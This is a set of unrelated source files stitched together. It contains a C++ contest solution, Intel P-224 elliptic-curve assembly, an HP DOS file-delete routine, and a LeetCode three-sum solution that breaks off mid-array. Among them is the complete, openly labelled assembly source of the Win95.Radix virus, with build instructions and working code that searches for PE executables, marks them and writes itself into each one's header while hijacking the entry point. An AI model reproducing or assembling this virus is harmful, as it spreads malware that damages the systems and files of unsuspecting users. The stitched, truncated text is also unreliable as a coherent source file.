#include <bits/stdc++.h> template<typename T> T gcd(T a, T b) { if(!b) return a; return gcd(b, a % b); } template<typename T> T lcm(T a, T b) { return a * b / gcd(a, b); } template<typename T> void chmin(T& a, T b) { a = (a > b) ? b : a; } template<typename T> void chmax(T& a, T b) { a = (a < b) ? b : a; } int in() { int x; scanf("%d", &x); return x; } using namespace std; #ifdef ONLINE_JUDGE #define debug(args...) #else #define debug(args...) fprintf(stderr,args) #endif typedef long long Int; typedef unsigned long long uInt; typedef unsigned uint; int A[5], B[5]; int main(void) { int ia = 0; int ib = 0; for (int i = 0; i < 3; i++) { cin >> A[i]; } for (int i = 0; i < 3; i++) { cin >> B[i]; if (A[i] < B[i]) { ib += 1; } else if (A[i] > B[i]) { ia += 1; } } cout << ia << " " << ib << "\n"; return 0; }
; Win95.Radix by Radix16[MIONS] ; Made in Czech republic ; ;Hi, ; ;It's my first Ring3 virus for Win9x.Virus not testing WinNT system. ; ;Target : PE filez ;Virus size : 405(402) ;Resident : NO ;Polymorhic : NO ; ;Virus not dangerous, but ..... ; ;Decription AVP: ; ;http://www.avp.ch/avpve/newexe/win95/radix.stm ; ;It is a harmless nonmemory resident parasitic Win9x virus. It searches ;for PE EXE files in the current directory, then writes itself to the ;middle of the file, to not used space at the end of the PE header. ; ;The virus does not manifest itself in any way. It contains the text: ; ; Radix16 ;Greets to : ; Worf[MIONS] ; VirusBuster/29 ; Prizzy/29A ; ; ;How to build: ; tasm32 -ml -m5 radix.asm ; tlink32 -Tpe -aa -c -x radix.obj,,, import32 ; pewrsec radix.exe ; ;Contacty mee : Radix16@atlas.cz ; Radix16.cjb.net .386p locals .Model Flat,STDCALL extrn ExitProcess :proc extrn GetModuleHandleA : proc .Data db ? .Code vStart label byte Start: db 68h ;Save old eip oldip: dd offset exit pushad Call Next id db 'Radix16' Next: pop ebp mov esi,KERNEL32+3ch lodsd add eax,KERNEL32 xchg eax,esi mov esi,dword ptr [esi+78h] lea esi,dword ptr [esi+1ch+KERNEL32] lodsd mov eax,dword ptr [eax+KERNEL32] add eax,KERNEL32 push eax push 20060000h push 0h push 1h db 68h currPage: dd FSTGENPAGE push 1000dh call eax pop dword ptr [_VxDCALL0+ebp-X] inc eax jz _exit inc eax ;allocation memory push 00020000h or 00040000h push 2h push 80060000h push 00010000h call dword ptr [_VxDCALL0+ebp-X] mov dword ptr [memory+ebp-X],eax push 00020000h or 00040000h or 80000000h or 8h push 0h push 1h push 2h shr eax,12 push eax push 00010001h call dword ptr [_VxDCALL0+ebp-X] ;Create DTA mov ah,1ah mov edx,dword ptr [memory+ebp-X] ;buffer add edx,1000h call int21 mov ah,4eh ;FindFirstFile lea edx,[_exe+ebp-X] ;What search xor ecx,ecx ;normal attributes tryanother: call int21 jc _exit ;is filez ? call _infect mov ah,4fh ;FindNextFile Jmp tryanother _exit: popad ret _exe db '*.*',0 ;filez search int21: ;VxDCALL services push ecx push eax push 002a0010h call dword ptr [_VxDCALL0+ebp-X] ret FP: ;Set file pointer mov ah,42h cdq ;xor dx,dx xor cx,cx call int21 ret _infect: mov edx,dword ptr [memory+ebp-X] ;Name file add edx,101eh mov ax,3d02h ;Open File R/W call int21 jc quit ;Error ? xchg eax,ebx ;FileHandle mov ah,3fh ;Read File mov ecx,1000h ;Read 1000h bytes mov edx,dword ptr [memory+ebp-X] call int21 jc quitz ;Error ? mov edi,edx cmp word ptr [edi],'ZM' ;Test Header (EXE) jne quitz ;yes or no ? cmp word ptr [edi+32h],'61' ;Test infection je quitz ;Yes, virus is in file ? mov word ptr [edi+32h],'61' ;No ,Save ID to file add edi,dword ptr [edi+3ch] ;Testing Portable Executable(PE) cmp word ptr [edi],'EP' jne quitz mov esi,edi mov eax,18h ;Shift image header add ax,word ptr [edi+14h] add edi,eax ;Search end section movzx cx,word ptr [esi+06h] mov ax,28h mul cx add edi,eax mov ecx,dword ptr [esi+2ch] mov dword ptr [esi+54h],ecx push edi sub edi,dword ptr [memory+ebp-X] xchg edi,dword ptr [esi+28h] mov eax,dword ptr [esi+34h] add edi,eax shr eax,12 mov dword ptr [currPage+ebp-X],eax mov dword ptr [oldip+ebp-X],edi ;Save old EIP pop edi mov ecx,VirusSize lea esi,[vStart+ebp-X] rep movsb ;CopyVirus xor al,al ;SetFilePointer 0=beginning file call FP ;mov al,0 mov ah,40h ;Write to file mov ecx,1000h mov edx,dword ptr [memory+ebp-X] call int21 quitz: mov ah,3eh ;CloseFile call int21 quit: ret exit: vEnd label byte ret VirusSize equ vEnd-vStart KERNEL32 equ 0bff70000h ;Win9X kernel address FSTGENPAGE equ 000400000h/1000h X equ offset id _VxDCALL0 dd ? memory dd ? ;Buffer Virual_End: ends End Start
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 6, 0x90 Lpoly: .quad 0x1, 0xffffffff00000000, 0xffffffffffffffff, 0xffffffff LRR: .quad 0xffffffff00000001, 0xffffffff00000000, 0xfffffffe00000000, 0xffffffff LOne: .long 1,1,1,1,1,1,1,1 LTwo: .long 2,2,2,2,2,2,2,2 LThree: .long 3,3,3,3,3,3,3,3 .p2align 6, 0x90 .globl n0_p224r1_mul_by_2 .type n0_p224r1_mul_by_2, @function n0_p224r1_mul_by_2: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 shld $(1), %r11, %r13 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shld $(1), %r8, %r9 shl $(1), %r8 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r13 pop %r12 ret .Lfe1: .size n0_p224r1_mul_by_2, .Lfe1-(n0_p224r1_mul_by_2) .p2align 6, 0x90 .globl n0_p224r1_div_by_2 .type n0_p224r1_div_by_2, @function n0_p224r1_div_by_2: push %r12 push %r13 push %r14 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 xor %r13, %r13 xor %r14, %r14 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 addq Lpoly+0(%rip), %rax adcq Lpoly+8(%rip), %rdx adcq Lpoly+16(%rip), %rcx adcq Lpoly+24(%rip), %r12 adc $(0), %r13 test $(1), %r8 cmovne %rax, %r8 cmovne %rdx, %r9 cmovne %rcx, %r10 cmovne %r12, %r11 cmovne %r13, %r14 shrd $(1), %r9, %r8 shrd $(1), %r10, %r9 shrd $(1), %r11, %r10 shrd $(1), %r14, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r14 pop %r13 pop %r12 ret .Lfe2: .size n0_p224r1_div_by_2, .Lfe2-(n0_p224r1_div_by_2) .p2align 6, 0x90 .globl n0_p224r1_mul_by_3 .type n0_p224r1_mul_by_3, @function n0_p224r1_mul_by_3: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 shld $(1), %r11, %r13 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shld $(1), %r8, %r9 shl $(1), %r8 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 xor %r13, %r13 addq (%rsi), %r8 adcq (8)(%rsi), %r9 adcq (16)(%rsi), %r10 adcq (24)(%rsi), %r11 adc $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r13 pop %r12 ret .Lfe3: .size n0_p224r1_mul_by_3, .Lfe3-(n0_p224r1_mul_by_3) .p2align 6, 0x90 .globl n0_p224r1_add .type n0_p224r1_add, @function n0_p224r1_add: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 addq (%rdx), %r8 adcq (8)(%rdx), %r9 adcq (16)(%rdx), %r10 adcq (24)(%rdx), %r11 adc $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r13 pop %r12 ret .Lfe4: .size n0_p224r1_add, .Lfe4-(n0_p224r1_add) .p2align 6, 0x90 .globl n0_p224r1_sub .type n0_p224r1_sub, @function n0_p224r1_sub: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 subq (%rdx), %r8 sbbq (8)(%rdx), %r9 sbbq (16)(%rdx), %r10 sbbq (24)(%rdx), %r11 sbb $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 addq Lpoly+0(%rip), %rax adcq Lpoly+8(%rip), %rdx adcq Lpoly+16(%rip), %rcx adcq Lpoly+24(%rip), %r12 test %r13, %r13 cmovne %rax, %r8 cmovne %rdx, %r9 cmovne %rcx, %r10 cmovne %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r13 pop %r12 ret .Lfe5: .size n0_p224r1_sub, .Lfe5-(n0_p224r1_sub) .p2align 6, 0x90 .globl n0_p224r1_neg .type n0_p224r1_neg, @function n0_p224r1_neg: push %r12 push %r13 xor %r13, %r13 xor %r8, %r8 xor %r9, %r9 xor %r10, %r10 xor %r11, %r11 subq (%rsi), %r8 sbbq (8)(%rsi), %r9 sbbq (16)(%rsi), %r10 sbbq (24)(%rsi), %r11 sbb $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 addq Lpoly+0(%rip), %rax adcq Lpoly+8(%rip), %rdx adcq Lpoly+16(%rip), %rcx adcq Lpoly+24(%rip), %r12 test %r13, %r13 cmovne %rax, %r8 cmovne %rdx, %r9 cmovne %rcx, %r10 cmovne %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r13 pop %r12 ret .Lfe6: .size n0_p224r1_neg, .Lfe6-(n0_p224r1_neg) .p2align 6, 0x90 p224r1_mmull: xor %r13, %r13 movq (%rbx), %rax mulq (%rsi) mov %rax, %r8 mov %rdx, %r9 movq (%rbx), %rax mulq (8)(%rsi) add %rax, %r9 adc $(0), %rdx mov %rdx, %r10 movq (%rbx), %rax mulq (16)(%rsi) add %rax, %r10 adc $(0), %rdx mov %rdx, %r11 movq (%rbx), %rax mulq (24)(%rsi) add %rax, %r11 adc $(0), %rdx mov %rdx, %r12 neg %r8 mov %r8, %rcx mov %r8, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r8 adc %rax, %r9 adc %rdx, %r10 adc %rcx, %r11 adc %rbp, %r12 movq (8)(%rbx), %rax mulq (%rsi) add %rax, %r9 adc $(0), %rdx mov %rdx, %rcx movq (8)(%rbx), %rax mulq (8)(%rsi) add %rcx, %r10 adc $(0), %rdx add %rax, %r10 adc $(0), %rdx mov %rdx, %rcx movq (8)(%rbx), %rax mulq (16)(%rsi) add %rcx, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (8)(%rbx), %rax mulq (24)(%rsi) add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %r13 neg %r9 mov %r9, %rcx mov %r9, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r9 adc %rax, %r10 adc %rdx, %r11 adc %rcx, %r12 adc %rbp, %r13 movq (16)(%rbx), %rax mulq (%rsi) add %rax, %r10 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rbx), %rax mulq (8)(%rsi) add %rcx, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rbx), %rax mulq (16)(%rsi) add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rbx), %rax mulq (24)(%rsi) add %rcx, %r13 adc $(0), %rdx add %rax, %r13 adc $(0), %rdx mov %rdx, %r14 neg %r10 mov %r10, %rcx mov %r10, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r10 adc %rax, %r11 adc %rdx, %r12 adc %rcx, %r13 adc %rbp, %r14 movq (24)(%rbx), %rax mulq (%rsi) add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rbx), %rax mulq (8)(%rsi) add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rbx), %rax mulq (16)(%rsi) add %rcx, %r13 adc $(0), %rdx add %rax, %r13 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rbx), %rax mulq (24)(%rsi) add %rcx, %r14 adc $(0), %rdx add %rax, %r14 adc $(0), %rdx mov %rdx, %r15 neg %r11 mov %r11, %rcx mov %r11, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r11 adc %rax, %r12 adc %rdx, %r13 adc %rcx, %r14 adc %rbp, %r15 movq Lpoly+0(%rip), %rax movq Lpoly+8(%rip), %rdx movq Lpoly+16(%rip), %rcx movq Lpoly+24(%rip), %rbp mov %r12, %r8 mov %r13, %r9 mov %r14, %r10 mov %r15, %r11 sub %rax, %r12 sbb %rdx, %r13 sbb %rcx, %r14 sbb %rbp, %r15 cmovc %r8, %r12 cmovc %r9, %r13 cmovc %r10, %r14 cmovc %r11, %r15 movq %r12, (%rdi) movq %r13, (8)(%rdi) movq %r14, (16)(%rdi) movq %r15, (24)(%rdi) ret .p2align 6, 0x90 p224r1_mmulx: xor %r13, %r13 movq (%rbx), %rdx mulxq (%rsi), %r8, %r9 mulxq (8)(%rsi), %rcx, %r10 add %rcx, %r9 mulxq (16)(%rsi), %rcx, %r11 adc %rcx, %r10 mulxq (24)(%rsi), %rcx, %r12 adc %rcx, %r11 adc $(0), %r12 neg %r8 mov %r8, %rcx mov %r8, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r8 adc %rax, %r9 adc %rdx, %r10 adc %rcx, %r11 adc %rbp, %r12 movq (8)(%rbx), %rdx xor %rax, %rax mulxq (%rsi), %rcx, %rbp adcx %rcx, %r9 adox %rbp, %r10 mulxq (8)(%rsi), %rcx, %rbp adcx %rcx, %r10 adox %rbp, %r11 mulxq (16)(%rsi), %rcx, %rbp adcx %rcx, %r11 adox %rbp, %r12 mulxq (24)(%rsi), %rcx, %r13 adcx %rcx, %r12 adox %rax, %r13 adc $(0), %r13 neg %r9 mov %r9, %rcx mov %r9, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r9 adc %rax, %r10 adc %rdx, %r11 adc %rcx, %r12 adc %rbp, %r13 movq (16)(%rbx), %rdx xor %rax, %rax mulxq (%rsi), %rcx, %rbp adcx %rcx, %r10 adox %rbp, %r11 mulxq (8)(%rsi), %rcx, %rbp adcx %rcx, %r11 adox %rbp, %r12 mulxq (16)(%rsi), %rcx, %rbp adcx %rcx, %r12 adox %rbp, %r13 mulxq (24)(%rsi), %rcx, %r14 adcx %rcx, %r13 adox %rax, %r14 adc $(0), %r14 neg %r10 mov %r10, %rcx mov %r10, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r10 adc %rax, %r11 adc %rdx, %r12 adc %rcx, %r13 adc %rbp, %r14 movq (24)(%rbx), %rdx xor %rax, %rax mulxq (%rsi), %rcx, %rbp adcx %rcx, %r11 adox %rbp, %r12 mulxq (8)(%rsi), %rcx, %rbp adcx %rcx, %r12 adox %rbp, %r13 mulxq (16)(%rsi), %rcx, %rbp adcx %rcx, %r13 adox %rbp, %r14 mulxq (24)(%rsi), %rcx, %r15 adcx %rcx, %r14 adox %rax, %r15 adc $(0), %r15 neg %r11 mov %r11, %rcx mov %r11, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r11 adc %rax, %r12 adc %rdx, %r13 adc %rcx, %r14 adc %rbp, %r15 movq Lpoly+0(%rip), %rax movq Lpoly+8(%rip), %rdx movq Lpoly+16(%rip), %rcx movq Lpoly+24(%rip), %rbp mov %r12, %r8 mov %r13, %r9 mov %r14, %r10 mov %r15, %r11 sub %rax, %r12 sbb %rdx, %r13 sbb %rcx, %r14 sbb %rbp, %r15 cmovc %r8, %r12 cmovc %r9, %r13 cmovc %r10, %r14 cmovc %r11, %r15 movq %r12, (%rdi) movq %r13, (8)(%rdi) movq %r14, (16)(%rdi) movq %r15, (24)(%rdi) ret .globl n0_p224r1_mul_montl .type n0_p224r1_mul_montl, @function n0_p224r1_mul_montl: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 mov %rdx, %rbx call p224r1_mmull pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe7: .size n0_p224r1_mul_montl, .Lfe7-(n0_p224r1_mul_montl) .p2align 6, 0x90 .globl n0_p224r1_mul_montx .type n0_p224r1_mul_montx, @function n0_p224r1_mul_montx: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 mov %rdx, %rbx call p224r1_mmulx pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe8: .size n0_p224r1_mul_montx, .Lfe8-(n0_p224r1_mul_montx) .p2align 6, 0x90 .globl n0_p224r1_to_mont .type n0_p224r1_to_mont, @function n0_p224r1_to_mont: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 lea LRR(%rip), %rbx call p224r1_mmull pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe9: .size n0_p224r1_to_mont, .Lfe9-(n0_p224r1_to_mont) .p2align 6, 0x90 .globl n0_p224r1_sqr_montl .type n0_p224r1_sqr_montl, @function n0_p224r1_sqr_montl: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 mov %rsi, %rbx call p224r1_mmull pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe10: .size n0_p224r1_sqr_montl, .Lfe10-(n0_p224r1_sqr_montl) .p2align 6, 0x90 .globl n0_p224r1_sqr_montx .type n0_p224r1_sqr_montx, @function n0_p224r1_sqr_montx: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 mov %rsi, %rbx call p224r1_mmulx pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe11: .size n0_p224r1_sqr_montx, .Lfe11-(n0_p224r1_sqr_montx) .p2align 6, 0x90 .globl n0_p224r1_mont_back .type n0_p224r1_mont_back, @function n0_p224r1_mont_back: push %r12 push %r13 push %r14 push %r15 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 xor %r12, %r12 xor %r13, %r13 xor %r14, %r14 xor %r15, %r15 neg %r8 mov %r8, %rcx mov %r8, %rsi xor %rax, %rax xor %rdx, %rdx shr $(32), %rsi shl $(32), %rcx sub %rcx, %rax sbb %rsi, %rdx sbb $(0), %rcx sbb $(0), %rsi neg %r8 adc %rax, %r9 adc %rdx, %r10 adc %rcx, %r11 adc %rsi, %r12 neg %r9 mov %r9, %rcx mov %r9, %rsi xor %rax, %rax xor %rdx, %rdx shr $(32), %rsi shl $(32), %rcx sub %rcx, %rax sbb %rsi, %rdx sbb $(0), %rcx sbb $(0), %rsi neg %r9 adc %rax, %r10 adc %rdx, %r11 adc %rcx, %r12 adc %rsi, %r13 neg %r10 mov %r10, %rcx mov %r10, %rsi xor %rax, %rax xor %rdx, %rdx shr $(32), %rsi shl $(32), %rcx sub %rcx, %rax sbb %rsi, %rdx sbb $(0), %rcx sbb $(0), %rsi neg %r10 adc %rax, %r11 adc %rdx, %r12 adc %rcx, %r13 adc %rsi, %r14 neg %r11 mov %r11, %rcx mov %r11, %rsi xor %rax, %rax xor %rdx, %rdx shr $(32), %rsi shl $(32), %rcx sub %rcx, %rax sbb %rsi, %rdx sbb $(0), %rcx sbb $(0), %rsi neg %r11 adc %rax, %r12 adc %rdx, %r13 adc %rcx, %r14 adc %rsi, %r15 mov %r12, %r8 mov %r13, %r9 mov %r14, %r10 mov %r15, %r11 subq Lpoly+0(%rip), %r12 sbbq Lpoly+8(%rip), %r13 sbbq Lpoly+16(%rip), %r14 sbbq Lpoly+24(%rip), %r15 cmovc %r8, %r12 cmovc %r9, %r13 cmovc %r10, %r14 cmovc %r11, %r15 movq %r12, (%rdi) movq %r13, (8)(%rdi) movq %r14, (16)(%rdi) movq %r15, (24)(%rdi) pop %r15 pop %r14 pop %r13 pop %r12 ret .Lfe12: .size n0_p224r1_mont_back, .Lfe12-(n0_p224r1_mont_back) .p2align 6, 0x90 .globl n0_p224r1_select_pp_w5 .type n0_p224r1_select_pp_w5, @function n0_p224r1_select_pp_w5: push %r12 push %r13 movdqa LOne(%rip), %xmm0 movdqa %xmm0, %xmm8 movd %edx, %xmm1 pshufd $(0), %xmm1, %xmm1 pxor %xmm2, %xmm2 pxor %xmm3, %xmm3 pxor %xmm4, %xmm4 pxor %xmm5, %xmm5 pxor %xmm6, %xmm6 pxor %xmm7, %xmm7 mov $(16), %rcx .Lselect_loop_sse_w5gas_13: movdqa %xmm8, %xmm15 pcmpeqd %xmm1, %xmm15 paddd %xmm0, %xmm8 movdqa (%rsi), %xmm9 movdqa (16)(%rsi), %xmm10 movdqa (32)(%rsi), %xmm11 movdqa (48)(%rsi), %xmm12 movdqa (64)(%rsi), %xmm13 movdqa (80)(%rsi), %xmm14 add $(96), %rsi pand %xmm15, %xmm9 pand %xmm15, %xmm10 pand %xmm15, %xmm11 pand %xmm15, %xmm12 pand %xmm15, %xmm13 pand %xmm15, %xmm14 por %xmm9, %xmm2 por %xmm10, %xmm3 por %xmm11, %xmm4 por %xmm12, %xmm5 por %xmm13, %xmm6 por %xmm14, %xmm7 dec %rcx jnz .Lselect_loop_sse_w5gas_13 movdqu %xmm2, (%rdi) movdqu %xmm3, (16)(%rdi) movdqu %xmm4, (32)(%rdi) movdqu %xmm5, (48)(%rdi) movdqu %xmm6, (64)(%rdi) movdqu %xmm7, (80)(%rdi) pop %r13 pop %r12 ret .Lfe13: .size n0_p224r1_select_pp_w5, .Lfe13-(n0_p224r1_select_pp_w5) .p2align 6, 0x90 .globl n0_p224r1_select_ap_w7 .type n0_p224r1_select_ap_w7, @function n0_p224r1_select_ap_w7: push %r12 push %r13 movdqa LOne(%rip), %xmm0 pxor %xmm2, %xmm2 pxor %xmm3, %xmm3 pxor %xmm4, %xmm4 pxor %xmm5, %xmm5 movdqa %xmm0, %xmm8 movd %edx, %xmm1 pshufd $(0), %xmm1, %xmm1 mov $(64), %rcx .Lselect_loop_sse_w7gas_14: movdqa %xmm8, %xmm15 pcmpeqd %xmm1, %xmm15 paddd %xmm0, %xmm8 movdqa (%rsi), %xmm9 movdqa (16)(%rsi), %xmm10 movdqa (32)(%rsi), %xmm11 movdqa (48)(%rsi), %xmm12 add $(64), %rsi pand %xmm15, %xmm9 pand %xmm15, %xmm10 pand %xmm15, %xmm11 pand %xmm15, %xmm12 por %xmm9, %xmm2 por %xmm10, %xmm3 por %xmm11, %xmm4 por %xmm12, %xmm5 dec %rcx jnz .Lselect_loop_sse_w7gas_14 movdqu %xmm2, (%rdi) movdqu %xmm3, (16)(%rdi) movdqu %xmm4, (32)(%rdi) movdqu %xmm5, (48)(%rdi) pop %r13 pop %r12 ret .Lfe14: .size n0_p224r1_select_ap_w7, .Lfe14-(n0_p224r1_select_ap_w7)
page ,132 ;*****************************************************************************; ; ; ; FILE NAME: remove.asm ; ; ; ; DESCRIPTION: MS-DOS delete file function 41H ; ; ; ; NOTES: ; ; ; ; HISTORY: ; ; 1996/09/26 JFL Created this file. ; ; ; ; (c) Copyright 1996-2017 Hewlett Packard Enterprise Development LP ; ; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ; ;*****************************************************************************; INCLUDE ADEFINE.INC .CODE ;-----------------------------------------------------------------------------; ; ; ; Function: remove ; ; ; ; Description: MS-DOS delete file function 41H ; ; ; ; Parameters: char *pszPathname The file name ; ; ; ; Returns: AX = MS-DOS error code. ; ; 0 = Success ; ; 1 = Invalid function ; ; 2 = Program not found ; ; 3 = Path not found ; ; 5 = Access denied ; ; ; ; Notes: The standard C library remove function return -1 on error.; ; ; ; Regs altered: AX, CX, DX. ; ; ; ; History: ; ; ; ; 1996/09/26 JFL Created this routine ; ; ; ;-----------------------------------------------------------------------------; CFASTPROC remove mov dx, bx ; pszPathname mov ah, 41H int 21h jc @F xor ax, ax @@: ret ENDCFASTPROC remove END
/** * @since 2019-12-27 11:08:42 * 三数之和 */ #include <algorithm> #include <iostream> #include <vector> using namespace std; namespace leetcode_0015 { string key = "0015"; class Solution { public: vector<vector<int>> threeSum(vector<int> &nums) { vector<vector<int>> result; int len = nums.size(); sort(nums.begin(), nums.end()); if (nums[0] > 0 || nums[len - 1] < 0) { return result; } for (int i = 0; i < len - 2; ++i) { int cur = nums[i]; if (cur > 0) break; if (i > 0 && cur == nums[i - 1]) continue; int target = -cur; int left = i + 1; int right = len - 1; while (left < right) { int leftValue = nums[left]; int rightValue = nums[right]; if (rightValue < 0) break; int match = leftValue + rightValue; if (match == target) { result.push_back({cur, leftValue, rightValue}); } if (match <= target) { do { } while (left < right && nums[++left] == leftValue); } else { do { } while (left < right && nums[--right] == rightValue); } } } return result; } }; vector<vector<int>> testCases = { {-1, 0, 1, 2, -1, -4}, {0, 0, 0, 0}, {82597, -9243, 62390, 83030, -97960, -26521, -61011, 83390, -38677, 12333, 75987, 46091, 83794, 19355, -71037, -6242, -28801, 324, 1202, -90885, -2989, -95597, -34333, 35528, 5680, 89093, -90606, 50360, -29393, -27012, 53313, 65213, 99818, -82405, -41661, -3333, -51952, 72135, -1523, 26377, 74685, 96992, 92263, 15929, 5467, -99555, -43348, -41689, -60383, -3990, 32165, 65265, -72973, -58372, 12741, -48568, -46596, 72419, -1859, 34153, 62937, 81310, -61823, -96770, -54944, 8845, -91184, 24208, -29078, 31495, 65258, 14198, 85395, 70506, -40908, 56740, -12228, -40072, 32429, 93001, 68445, -73927, 25731, -91859, -24150, 10093, -60271, -81683, -18126, 51055, 48189, -6468, 25057, 81194, -58628, 74042, 66158, -14452, -49851, -43667, 11092, 39189, -17025, -79173, 13606, 83172, 92647, -59741, 19343, -26644, -57607, 82908, -20655, 1637, 